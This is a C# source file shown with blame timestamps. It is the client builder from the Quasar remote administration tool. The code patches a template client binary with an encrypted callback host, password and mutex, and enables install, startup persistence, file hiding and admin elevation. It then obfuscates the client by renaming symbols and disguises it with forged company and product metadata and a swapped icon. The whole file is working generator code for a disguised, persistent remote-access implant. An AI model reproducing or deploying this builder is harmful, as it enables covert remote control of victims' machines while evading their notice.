Quasar/Server/Core/Build/ClientBuilder.cs

173 lines
8.2 KiB
C#
Raw Normal View History

2015-01-13 18:29:11 +00:00
using System;
2015-04-09 17:24:56 +00:00
using System.IO;
2014-07-08 19:36:24 +00:00
using Mono.Cecil;
using Mono.Cecil.Cil;
using Vestris.ResourceLib;
2015-01-13 18:29:11 +00:00
using xServer.Core.Encryption;
2014-07-08 19:36:24 +00:00
2015-01-13 18:29:11 +00:00
namespace xServer.Core.Build
2014-07-08 19:36:24 +00:00
{
2015-01-13 18:43:55 +00:00
public static class ClientBuilder
2014-07-08 19:36:24 +00:00
{
public static void Build(string output, string host, string password, string installsub, string installname,
string mutex, string startupkey, bool install, bool startup, bool hidefile, int port, int reconnectdelay,
int installpath, bool adminelevation, string iconpath, string[] asminfo, string version)
2014-07-08 19:36:24 +00:00
{
// PHASE 1 - Settings
2015-01-13 18:29:11 +00:00
string encKey = Helper.Helper.GetRandomName(20);
2015-04-09 17:24:56 +00:00
AssemblyDefinition asmDef;
try
{
asmDef = AssemblyDefinition.ReadAssembly("client.bin");
}
catch (Exception ex)
{
throw new FileLoadException(ex.Message);
}
2014-07-08 19:36:24 +00:00
foreach (var typeDef in asmDef.Modules[0].Types)
2014-07-08 19:36:24 +00:00
{
2015-01-15 18:10:56 +00:00
if (typeDef.FullName == "xClient.Config.Settings")
2014-07-08 19:36:24 +00:00
{
foreach (var methodDef in typeDef.Methods)
{
if (methodDef.Name == ".cctor")
{
int strings = 1, bools = 1, ints = 1;
for (int i = 0; i < methodDef.Body.Instructions.Count; i++)
{
if (methodDef.Body.Instructions[i].OpCode.Name == "ldstr") // string
{
switch (strings)
{
case 1: //version
2015-01-13 09:12:26 +00:00
methodDef.Body.Instructions[i].Operand = AES.Encrypt(version, encKey);
2014-07-08 19:36:24 +00:00
break;
case 2: //ip/hostname
methodDef.Body.Instructions[i].Operand = AES.Encrypt(host, encKey);
break;
case 3: //password
methodDef.Body.Instructions[i].Operand = AES.Encrypt(password, encKey);
break;
case 4: //installsub
methodDef.Body.Instructions[i].Operand = AES.Encrypt(installsub, encKey);
break;
case 5: //installname
methodDef.Body.Instructions[i].Operand = AES.Encrypt(installname, encKey);
break;
case 6: //mutex
methodDef.Body.Instructions[i].Operand = AES.Encrypt(mutex, encKey);
break;
case 7: //startupkey
methodDef.Body.Instructions[i].Operand = AES.Encrypt(startupkey, encKey);
break;
case 8: //random encryption key
methodDef.Body.Instructions[i].Operand = encKey;
break;
}
strings++;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.1" ||
methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.0") // bool
2014-07-08 19:36:24 +00:00
{
switch (bools)
{
case 1: //install
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(install));
break;
case 2: //startup
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(startup));
break;
case 3: //hidefile
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(hidefile));
break;
case 4: //AdminElevation
methodDef.Body.Instructions[i] =
Instruction.Create(BoolOpcode(adminelevation));
2014-07-08 19:36:24 +00:00
break;
}
bools++;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4") // int
{
switch (ints)
{
case 1: //port
methodDef.Body.Instructions[i].Operand = port;
break;
case 2: //reconnectdelay
methodDef.Body.Instructions[i].Operand = reconnectdelay;
break;
}
ints++;
}
2014-07-23 20:49:05 +00:00
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s") // sbyte
2014-07-08 19:36:24 +00:00
{
methodDef.Body.Instructions[i].Operand = GetSpecialFolder(installpath);
}
}
}
}
}
}
// PHASE 2 - Renaming
Renamer r = new Renamer(asmDef);
if (!r.Perform())
2014-07-23 20:49:05 +00:00
throw new Exception("renaming failed");
2014-07-08 19:36:24 +00:00
// PHASE 3 - Saving
r.AsmDef.Write(output);
// PHASE 4 - Assembly Information changing
if (asminfo != null)
{
VersionResource versionResource = new VersionResource();
versionResource.LoadFrom(output);
versionResource.FileVersion = asminfo[7];
versionResource.ProductVersion = asminfo[6];
versionResource.Language = 0;
StringFileInfo stringFileInfo = (StringFileInfo) versionResource["StringFileInfo"];
stringFileInfo["CompanyName"] = asminfo[2];
stringFileInfo["FileDescription"] = asminfo[1];
stringFileInfo["ProductName"] = asminfo[0];
stringFileInfo["LegalCopyright"] = asminfo[3];
stringFileInfo["LegalTrademarks"] = asminfo[4];
stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
stringFileInfo["FileVersion"] = versionResource.FileVersion;
stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
stringFileInfo["InternalName"] = asminfo[5];
stringFileInfo["OriginalFilename"] = asminfo[5];
versionResource.SaveTo(output);
}
// PHASE 5 - Icon changing
2014-07-08 19:36:24 +00:00
if (!string.IsNullOrEmpty(iconpath))
IconInjector.InjectIcon(output, iconpath);
}
private static OpCode BoolOpcode(bool p)
{
return (p) ? OpCodes.Ldc_I4_1 : OpCodes.Ldc_I4_0;
}
private static sbyte GetSpecialFolder(int installpath)
{
switch (installpath)
{
case 1:
return 26; // Appdata
case 2:
return 38; // ProgramFiles
case 3:
return 37; // System
default:
2014-07-24 21:26:59 +00:00
throw new ArgumentException("InstallPath");
2014-07-08 19:36:24 +00:00
}
}
}
}